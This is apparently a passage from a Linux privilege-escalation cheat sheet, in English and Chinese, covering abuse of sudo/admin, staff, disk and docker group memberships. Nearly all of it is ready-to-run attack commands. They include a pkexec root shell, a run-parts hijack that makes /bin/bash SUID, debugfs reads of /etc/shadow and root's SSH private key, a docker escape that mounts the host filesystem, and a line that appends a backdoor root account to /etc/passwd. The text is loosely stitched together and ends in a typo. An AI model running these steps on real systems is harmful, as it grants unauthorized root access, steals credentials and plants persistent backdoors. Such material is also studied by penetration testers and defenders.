# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
pkexec "/bin/sh" #You will be prompted for your user password
如果尝试执行pkexec时出现以下错误：
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash
# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts
# 0x3 start a new ssh sesstion to trigger the run-parts program
# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash
# 0x5 root it
$ /bin/bash -p
磁盘组
这个权限几乎等同于 root 访问权限，因为您可以访问机器内的所有数据。
文件：/dev/sd[a-z][1-9]
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
